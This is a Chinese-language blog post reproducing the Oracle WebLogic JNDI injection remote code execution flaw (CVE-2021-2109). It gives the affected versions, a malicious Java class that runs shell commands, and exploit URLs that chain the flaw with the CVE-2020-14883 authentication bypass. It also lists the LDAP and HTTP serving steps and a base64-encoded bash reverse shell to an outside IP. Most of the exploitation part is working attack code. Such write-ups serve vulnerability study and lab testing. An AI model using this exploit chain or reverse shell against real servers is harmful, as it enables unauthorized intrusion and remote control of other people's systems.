WebLogic JNDI注入RCE(CVE-2021-2109)

漏洞条件

  • 拥有访问/console/consolejndi.portal页面的用户权限,或者存在CVE-2020-14883未授权访问漏洞。
  • Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
  • 用到了JNDI注入,因此JDK版本需要符合JNDI利用条件

漏洞原理

WebLogic的/console/consolejndi.portal接口可以调用存在JNDI注入漏洞的com.bea.console.handles.JndiBindingHandle类,从而造成RCE。

具体分析:

阿里云安全获Oracle官方致谢 |Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)

WebLogic CVE-2021-2109 JNDI RCE

漏洞利用

环境搭建好之后,利用前面CVE-2020-14883的未授权访问漏洞可以直接访问到consolejndi.portal页面:

http://ip:7001/console/css/%252e%252e%252fconsolejndi.portal

先来编写一个恶意类Exp,其中payload为新建文件验证:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exp {
    public Exp() throws Exception {
        //Process p = Runtime.getRuntime().exec(newString[]{"cmd","/c","calc.exe"});
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","touch testabc"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
}

开启Web服务,其中存放上述恶意类以供JNDI注入远程加载访问:

python3 -m http.server

使用工具开启LDAP服务,这里我用的是ysomap:

原始的Exp:

/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xx.xx.xx;xx:1389/Touch;AdminServer%22)

结合未授权访问漏洞的Exp:

/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xx.xx.xx;xx:1389/Touch;AdminServer%22)

这里LDAP和http服务都收到请求,到容器中查看:

证明存在漏洞且能外连,要反弹shell的话直接修改Exp类执行的命令在base64编码即可:

// bash -i >& /dev/tcp/172.19.0.1/6666 0>&1
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzY2NjYgMD4mMQ==' | base64 -d | bash"});

参考资料

浅析WebLogic JNDI注入RCE(CVE-2021-2109)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇